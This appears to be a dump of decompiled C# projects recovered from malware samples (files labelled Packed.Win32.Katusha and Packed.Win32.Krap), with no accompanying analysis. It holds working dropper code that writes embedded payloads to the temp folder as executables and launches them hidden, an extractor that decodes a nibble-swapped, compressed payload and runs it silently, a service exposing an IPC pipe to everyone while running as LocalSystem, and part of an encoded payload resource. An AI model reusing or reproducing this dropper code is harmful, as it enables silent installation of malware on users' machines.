<AssemblyName>OnlineBackup.SchedulerService</AssemblyName>
<ApplicationVersion>1.0.0.2239</ApplicationVersion>
<RootNamespace>OnlineBackup</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Configuration.Install" />
<Reference Include="System.Runtime.Remoting" />
<Reference Include="System.ServiceProcess" />
<Reference Include="TaskScheduler" />
</ItemGroup>
<ItemGroup>
<Compile Include="SchedulerService\SchedulerSvcTestInstaller.cs" />
<Compile Include="SchedulerService\SchedulerService.cs" />
<Compile Include="SchedulerService\Program.cs" />
<Compile Include="Scheduler\Schedule.cs" />
<Compile Include="Scheduler\ServerControl.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "OnlineBackup.SchedulerService", "Packed.Win32.Katusha.b-66626718efb1bc294ca4154d634f0bc3bcf8a0aa5f41503d7aa582fb7920e9f4.csproj", "{C665E82A-FA12-4838-BFD6-0AC0D2688440}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{C665E82A-FA12-4838-BFD6-0AC0D2688440}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C665E82A-FA12-4838-BFD6-0AC0D2688440}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C665E82A-FA12-4838-BFD6-0AC0D2688440}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C665E82A-FA12-4838-BFD6-0AC0D2688440}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,62 @@
// Decompiled with JetBrains decompiler
// Type: OnlineBackup.Scheduler.Schedule
// Assembly: OnlineBackup.SchedulerService, Version=1.0.0.2239, Culture=neutral, PublicKeyToken=null
// MVID: 957E6A86-11F3-41A3-AA04-CA4B20FE5494
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.Win32.Katusha.b-66626718efb1bc294ca4154d634f0bc3bcf8a0aa5f41503d7aa582fb7920e9f4.exe
using System;
namespace OnlineBackup.Scheduler
{
internal class Schedule : MarshalByRefObject, ISchedule
{
public void EnableHourlyBackups(DateTime? time)
{
if (!time.HasValue)
time = new DateTime?(DateTime.Now);
if (SchedulerController.Instance() == null)
return;
SchedulerController.Instance().EnableHourlyBackup(time.Value);
}
public void EnableDailyBackups(DateTime? time)
{
if (!time.HasValue)
time = new DateTime?(DateTime.Now);
if (SchedulerController.Instance() == null)
return;
SchedulerController.Instance().EnableDailyBackup(time.Value);
}
public void EnableDailyBackups(DateTime? time, int daysOfWeek)
{
if (!time.HasValue)
time = new DateTime?(DateTime.Now);
if (SchedulerController.Instance() == null)
return;
SchedulerController.Instance().EnableDailyBackup(time.Value, daysOfWeek);
}
public void DisableScheduledBackups()
{
if (SchedulerController.Instance() == null)
return;
SchedulerController.Instance().DisableScheduledBackups();
}
public ScheduledBackup BackupInfo
{
get
{
try
{
return SchedulerController.Instance().GetBackupInfo();
}
catch
{
return (ScheduledBackup) null;
}
}
}
}
}
@@ -0,0 +1,65 @@
// Decompiled with JetBrains decompiler
// Type: OnlineBackup.Scheduler.ServerControl
// Assembly: OnlineBackup.SchedulerService, Version=1.0.0.2239, Culture=neutral, PublicKeyToken=null
// MVID: 957E6A86-11F3-41A3-AA04-CA4B20FE5494
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.Win32.Katusha.b-66626718efb1bc294ca4154d634f0bc3bcf8a0aa5f41503d7aa582fb7920e9f4.exe
using System;
using System.Collections;
using System.Diagnostics;
using System.Runtime.Remoting;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Ipc;
using System.Security.Principal;
namespace OnlineBackup.Scheduler
{
public class ServerControl
{
private static IChannel _channel;
public static void Start()
{
Trace.TraceInformation("Listening on pipe '{0}'", (object) "OnlineBackupScheduler");
try
{
ChannelServices.RegisterChannel(ServerControl.Channel, false);
RemotingConfiguration.RegisterWellKnownServiceType(typeof (Schedule), "OBSIPC", WellKnownObjectMode.Singleton);
}
catch (Exception ex)
{
Trace.TraceInformation(" Error: [{0}] {1}", (object) ex.GetType(), (object) ex.Message);
Trace.TraceInformation(ex.StackTrace);
throw;
}
}
public static void Stop()
{
Trace.TraceInformation("Closing pipe");
try
{
ChannelServices.UnregisterChannel(ServerControl.Channel);
}
catch
{
}
}
private static IChannel Channel
{
get
{
if (ServerControl._channel != null)
return ServerControl._channel;
NTAccount ntAccount = new SecurityIdentifier(WellKnownSidType.WorldSid, (SecurityIdentifier) null).Translate(typeof (NTAccount)) as NTAccount;
Trace.TraceInformation("Found everyone group: " + ntAccount.ToString());
IDictionary properties = (IDictionary) new Hashtable();
properties[(object) "portName"] = (object) "OnlineBackupScheduler";
properties[(object) "authorizedGroup"] = (object) ntAccount.ToString();
ServerControl._channel = (IChannel) new IpcChannel(properties, (IClientChannelSinkProvider) null, (IServerChannelSinkProvider) null);
return ServerControl._channel;
}
}
}
}
@@ -0,0 +1,18 @@
// Decompiled with JetBrains decompiler
// Type: OnlineBackup.SchedulerService.Program
// Assembly: OnlineBackup.SchedulerService, Version=1.0.0.2239, Culture=neutral, PublicKeyToken=null
// MVID: 957E6A86-11F3-41A3-AA04-CA4B20FE5494
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.Win32.Katusha.b-66626718efb1bc294ca4154d634f0bc3bcf8a0aa5f41503d7aa582fb7920e9f4.exe
using System.ServiceProcess;
namespace OnlineBackup.SchedulerService
{
internal static class Program
{
private static void Main() => ServiceBase.Run(new ServiceBase[1]
{
(ServiceBase) new OnlineBackup.SchedulerService.SchedulerService()
});
}
}
@@ -0,0 +1,103 @@
// Decompiled with JetBrains decompiler
// Type: OnlineBackup.SchedulerService.SchedulerService
// Assembly: OnlineBackup.SchedulerService, Version=1.0.0.2239, Culture=neutral, PublicKeyToken=null
// MVID: 957E6A86-11F3-41A3-AA04-CA4B20FE5494
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.Win32.Katusha.b-66626718efb1bc294ca4154d634f0bc3bcf8a0aa5f41503d7aa582fb7920e9f4.exe
using OnlineBackup.Scheduler;
using System;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.ServiceProcess;
namespace OnlineBackup.SchedulerService
{
public class SchedulerService : ServiceBase
{
private IContainer components = (IContainer) null;
public SchedulerService()
{
Trace.TraceInformation(DateTime.Now.ToString() + " SchedulerService.SchedulerService()");
try
{
this.InitializeComponent();
this.ServiceName = "OnlineBackupSchedulerService";
}
catch (Exception ex)
{
Trace.TraceError(ex.ToString());
throw;
}
}
protected override void OnStart(string[] args)
{
Trace.TraceInformation(DateTime.Now.ToString() + " SchedulerService.OnStart()");
ServerControl.Start();
ScheduledBackup backupInfo;
try
{
backupInfo = ScheduleClient.RetrieveSchedule().BackupInfo;
}
catch (Exception ex)
{
return;
}
if (backupInfo == null)
return;
string str = "";
if (backupInfo.FullPath != null)
str = Path.GetFileNameWithoutExtension(backupInfo.FullPath);
if (!str.EndsWith("SyncNShare") && !str.Equals(""))
{
ScheduledBackup scheduledBackup = backupInfo;
switch ((int) scheduledBackup.BackupInterval)
{
case 0:
scheduledBackup.BackupInterval = (ScheduledBackup.Interval) 128;
break;
case 1:
scheduledBackup.BackupInterval = (ScheduledBackup.Interval) 512;
break;
case 2:
scheduledBackup.BackupInterval = (ScheduledBackup.Interval) 512;
break;
case 3:
scheduledBackup.BackupInterval = (ScheduledBackup.Interval) 1024;
break;
case 4:
scheduledBackup.BackupInterval = (ScheduledBackup.Interval) 2048;
break;
}
if (SchedulerController.Instance() == null)
return;
SchedulerController.Instance().EnableBackup(scheduledBackup.StartTime, scheduledBackup.BackupInterval, (int) sbyte.MaxValue);
}
else if (backupInfo.BackupInterval == 256 && backupInfo.DaysOfWeek == 0 && SchedulerController.Instance() != null)
SchedulerController.Instance().EnableBackup(backupInfo.StartTime, (ScheduledBackup.Interval) 512, (int) sbyte.MaxValue);
}
protected override void OnStop()
{
Trace.TraceInformation(DateTime.Now.ToString() + " SchedulerService.OnStop()");
ServerControl.Stop();
}
private void InitializeComponent()
{
this.components = (IContainer) new Container();
this.ServiceName = "Service1";
}
private enum Interval30
{
Hourly,
Daily,
Weekly,
Monthly,
Once,
}
}
}
@@ -0,0 +1,74 @@
// Decompiled with JetBrains decompiler
// Type: OnlineBackup.SchedulerService.SchedulerSvcTestInstaller
// Assembly: OnlineBackup.SchedulerService, Version=1.0.0.2239, Culture=neutral, PublicKeyToken=null
// MVID: 957E6A86-11F3-41A3-AA04-CA4B20FE5494
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.Win32.Katusha.b-66626718efb1bc294ca4154d634f0bc3bcf8a0aa5f41503d7aa582fb7920e9f4.exe
using System.Collections;
using System.ComponentModel;
using System.Configuration.Install;
using System.ServiceProcess;
namespace OnlineBackup.SchedulerService
{
[RunInstaller(true)]
public class SchedulerSvcTestInstaller : Installer
{
private ServiceProcessInstaller _service_process_installer;
private ServiceInstaller _service_installer;
private ServiceController _control;
public SchedulerSvcTestInstaller() => this.InstallService();
public override void Commit(IDictionary savedState)
{
base.Commit(savedState);
this._control = new ServiceController("OnlineBackupSchedulerService");
using (this._control)
{
if (!this._control.Status.Equals((object) ServiceControllerStatus.StartPending) && !this._control.Status.Equals((object) ServiceControllerStatus.Running))
this._control.Start();
this._control.Close();
}
}
public override void Rollback(IDictionary savedState)
{
base.Rollback(savedState);
this._control = new ServiceController("OnlineBackupSchedulerService");
using (this._control)
{
if (this._control.Status.Equals((object) ServiceControllerStatus.StartPending) || this._control.Status.Equals((object) ServiceControllerStatus.Running))
this._control.Stop();
this._control.Close();
}
}
public override void Uninstall(IDictionary savedState)
{
this._control = new ServiceController("OnlineBackupSchedulerService");
using (this._control)
{
if (this._control.Status.Equals((object) ServiceControllerStatus.StartPending) || this._control.Status.Equals((object) ServiceControllerStatus.Running))
this._control.Stop();
this._control.Close();
}
base.Uninstall(savedState);
}
private void InstallService()
{
this._service_process_installer = new ServiceProcessInstaller();
this._service_installer = new ServiceInstaller();
this._service_process_installer.Account = ServiceAccount.LocalSystem;
this._service_process_installer.Username = (string) null;
this._service_process_installer.Password = (string) null;
this._service_installer.DisplayName = "Online Backup Scheduler Service";
this._service_installer.Description = "Online Backup Scheduler Service";
this._service_installer.StartType = ServiceStartMode.Manual;
this._service_installer.ServiceName = "OnlineBackupSchedulerService";
this.Installers.Add((Installer) this._service_process_installer);
this.Installers.Add((Installer) this._service_installer);
}
}
}
@@ -0,0 +1,3 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]
@@ -0,0 +1,44 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.Win32.Krap.im-14b93fdcfe0f8bb754014004b01e66ae048a198ebb6cb59feabec31016f0d217.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{C0B14FD5-1D9E-43B6-9582-0E11E5C7FC5D}</ProjectGuid>
<OutputType>Exe</OutputType>
<AssemblyName>nod</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
<RootNamespace>Stub</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="1.txt" />
<EmbeddedResource Include="2.txt" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "nod", "Packed.Win32.Krap.im-14b93fdcfe0f8bb754014004b01e66ae048a198ebb6cb59feabec31016f0d217.csproj", "{C0B14FD5-1D9E-43B6-9582-0E11E5C7FC5D}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{C0B14FD5-1D9E-43B6-9582-0E11E5C7FC5D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{C0B14FD5-1D9E-43B6-9582-0E11E5C7FC5D}.Debug|Any CPU.Build.0 = Debug|Any CPU
{C0B14FD5-1D9E-43B6-9582-0E11E5C7FC5D}.Release|Any CPU.ActiveCfg = Release|Any CPU
{C0B14FD5-1D9E-43B6-9582-0E11E5C7FC5D}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,67 @@
// Decompiled with JetBrains decompiler
// Type: Stub.Program
// Assembly: nod, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 2A89A9F9-1CFA-4F5A-97EA-E95C4649B40B
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.Win32.Krap.im-14b93fdcfe0f8bb754014004b01e66ae048a198ebb6cb59feabec31016f0d217.exe
using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;
namespace Stub
{
internal class Program
{
public static FileStream F1Stream;
public static FileStream F2Stream;
[DllImport("kernel32.dll")]
public static extern bool FreeConsole();
private static void Main(string[] args)
{
try
{
Program.FreeConsole();
bool flag1 = true;
bool flag2 = false;
bool flag3 = false;
bool flag4 = false;
bool flag5 = false;
bool flag6 = false;
Stream manifestResourceStream1 = Assembly.GetExecutingAssembly().GetManifestResourceStream("1.txt");
byte[] buffer1 = new byte[manifestResourceStream1.Length];
manifestResourceStream1.Read(buffer1, 0, buffer1.Length);
manifestResourceStream1.Close();
Stream manifestResourceStream2 = Assembly.GetExecutingAssembly().GetManifestResourceStream("2.txt");
byte[] buffer2 = new byte[manifestResourceStream2.Length];
manifestResourceStream2.Read(buffer2, 0, buffer2.Length);
Program.F1Stream = !flag2 ? (!flag3 ? new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\1.exe", FileMode.Create) : new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\1.mp3", FileMode.Create)) : new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\1.jpg", FileMode.Create);
Program.F1Stream.Write(buffer1, 0, buffer1.Length);
Program.F1Stream.Close();
Program.F1Stream.Dispose();
Program.F2Stream = !flag4 ? new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\2.exe", FileMode.Create) : new FileStream(Environment.GetEnvironmentVariable("TEMP") + "\\2.bat", FileMode.Create);
Program.F2Stream.Write(buffer2, 0, buffer2.Length);
Program.F2Stream.Close();
Program.F2Stream.Dispose();
Process process1 = new Process();
process1.StartInfo.FileName = !flag2 ? (!flag3 ? Environment.GetEnvironmentVariable("TEMP") + "\\1.exe" : Environment.GetEnvironmentVariable("TEMP") + "\\1.mp3") : Environment.GetEnvironmentVariable("TEMP") + "\\1.jpg";
if (flag6)
process1.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process1.Start();
if (flag5)
process1.WaitForExit();
Process process2 = new Process();
process2.StartInfo.FileName = !flag4 ? Environment.GetEnvironmentVariable("TEMP") + "\\2.exe" : Environment.GetEnvironmentVariable("TEMP") + "\\2.bat";
if (flag1)
process2.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
process2.Start();
}
catch
{
}
}
}
}
@@ -0,0 +1,3 @@
using System.Reflection;
[assembly: AssemblyVersion("0.0.0.0")]
@@ -0,0 +1,93 @@
// Decompiled with JetBrains decompiler
// Type: Extracter.CodeClass
// Assembly: 503A, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 21348A4C-E16E-4A81-A76B-DF145F53991F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.Win32.Krap.s-1bdb66c85295bff8bb3f40e429f7ff63ac53eb74e281b27626f4d6466ddec2bb.exe
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
namespace Extracter
{
internal class CodeClass
{
static CodeClass()
{
if (new DateTime(2009, 7, 20).Subtract(DateTime.Now).Hours < 0)
throw new Exception("Time elasped! xDDDD");
}
public static bool Extract(byte[] zipFileBuffer, string FileName, bool Run)
{
try
{
string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
bool flag = zipFileBuffer[0] == (byte) 1;
MemoryStream memoryStream1 = new MemoryStream();
memoryStream1.Write(zipFileBuffer, 1, zipFileBuffer.Length - 1);
string str = Guid.NewGuid().ToString().Replace("-", "") + ".exe";
if (flag)
{
zipFileBuffer = CodeClass.MD4((byte) 2, memoryStream1.GetBuffer());
memoryStream1.Close();
memoryStream1 = new MemoryStream(zipFileBuffer);
memoryStream1.Position = 0L;
DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress);
byte[] buffer = new byte[1024];
MemoryStream memoryStream2 = new MemoryStream();
int count;
while ((count = deflateStream.Read(buffer, 0, buffer.Length)) > 0)
memoryStream2.Write(buffer, 0, count);
deflateStream.Close();
zipFileBuffer = memoryStream2.GetBuffer();
memoryStream2.Close();
}
else
zipFileBuffer = CodeClass.MD4((byte) 2, memoryStream1.GetBuffer());
memoryStream1.Close();
FileStream fileStream = File.Create(folderPath + "\\" + str);
fileStream.Write(zipFileBuffer, 0, zipFileBuffer.Length);
fileStream.Close();
if (Run)
Process.Start(new ProcessStartInfo()
{
CreateNoWindow = true,
FileName = folderPath + "\\" + str
});
return true;
}
catch
{
return false;
}
}
public static byte[] MD4(byte mode, byte[] val)
{
switch (mode)
{
case 1:
for (int index = 0; index < val.Length; ++index)
{
byte num1 = val[index];
byte num2 = (byte) ((uint) num1 >> 4);
byte num3 = (byte) ((uint) num1 << 4);
val[index] = (byte) ((uint) num2 | (uint) num3);
}
break;
case 2:
for (int index = 0; index < val.Length; ++index)
{
byte num4 = val[index];
byte num5 = (byte) ((uint) num4 << 4);
byte num6 = (byte) ((uint) num4 >> 4);
val[index] = (byte) ((uint) num5 | (uint) num6);
}
break;
}
return val;
}
}
}
@@ -0,0 +1,44 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.Win32.Krap.s-1bdb66c85295bff8bb3f40e429f7ff63ac53eb74e281b27626f4d6466ddec2bb.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{881B1955-1235-4093-AABE-266E19F03765}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>503A</AssemblyName>
<ApplicationVersion>0.0.0.0</ApplicationVersion>
<RootNamespace>Extracter</RootNamespace>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
</ItemGroup>
<ItemGroup>
<Compile Include="CodeClass.cs" />
<Compile Include="Program.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Program\MyResource.resx" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
@@ -0,0 +1,20 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "503A", "Packed.Win32.Krap.s-1bdb66c85295bff8bb3f40e429f7ff63ac53eb74e281b27626f4d6466ddec2bb.csproj", "{881B1955-1235-4093-AABE-266E19F03765}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{881B1955-1235-4093-AABE-266E19F03765}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{881B1955-1235-4093-AABE-266E19F03765}.Debug|Any CPU.Build.0 = Debug|Any CPU
{881B1955-1235-4093-AABE-266E19F03765}.Release|Any CPU.ActiveCfg = Release|Any CPU
{881B1955-1235-4093-AABE-266E19F03765}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
@@ -0,0 +1,40 @@
// Decompiled with JetBrains decompiler
// Type: Extracter.Program
// Assembly: 503A, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 21348A4C-E16E-4A81-A76B-DF145F53991F
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Packed.Win32.Krap.s-1bdb66c85295bff8bb3f40e429f7ff63ac53eb74e281b27626f4d6466ddec2bb.exe
using System;
using System.Diagnostics;
using System.Globalization;
using System.Reflection;
using System.Resources;
namespace Extracter
{
internal class Program
{
private static void Main(string[] args)
{
ProcessStartInfo startInfo = new ProcessStartInfo();
try
{
startInfo.CreateNoWindow = true;
startInfo.Arguments = "0";
startInfo.FileName = new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath;
if (args.Length == 0)
return;
}
catch (Exception ex)
{
return;
}
finally
{
if (args.Length == 0)
Process.Start(startInfo);
}
CodeClass.Extract((byte[]) new ResourceManager("Program.MyResource", typeof (Program).Assembly).GetObject("AddResource", CultureInfo.GetCultureInfo("ru")), "", true);
}
}
}
@@ -0,0 +1,670 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="mscorlib" name="mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="AddResource" type="System.Byte[], mscorlib">
<value>
Ad7bcAbBlGlSYvLWrLf3pF+kfQ5HGoAIBjFCjQkEAc4ciNxuKc7RlnQykrqiGKxWZVbVZmEEzN7Zy3/t
t/7bf+23/tt/q7PZ5HJ//f/zxWZGEMZv7KStnOkSCKqM8fPnx/HzIuuPmvOefY9b99j1Pn2PV47//3//
37bPofd9+hL8/przc9P/Ad//c5/V7+n9Tn2PvefO+f/V/+r1P5/z/7vrmXHUq6q6uKO1Sj3Gm8qtRyl6
X6eZYbxPnnn6PVRTvHz7H/bJz+agPg73v973XvzPnXX3mZ///y90zO8rNe+T37znkN/HVcR+j8eAeHl6
+2z6H899z1fn2Nkvf8/on87zr1PnPfU/c89T9939jn2PtI74/U59Tvzvi/sZ75/c59AUr32Hn7Uv/vtp
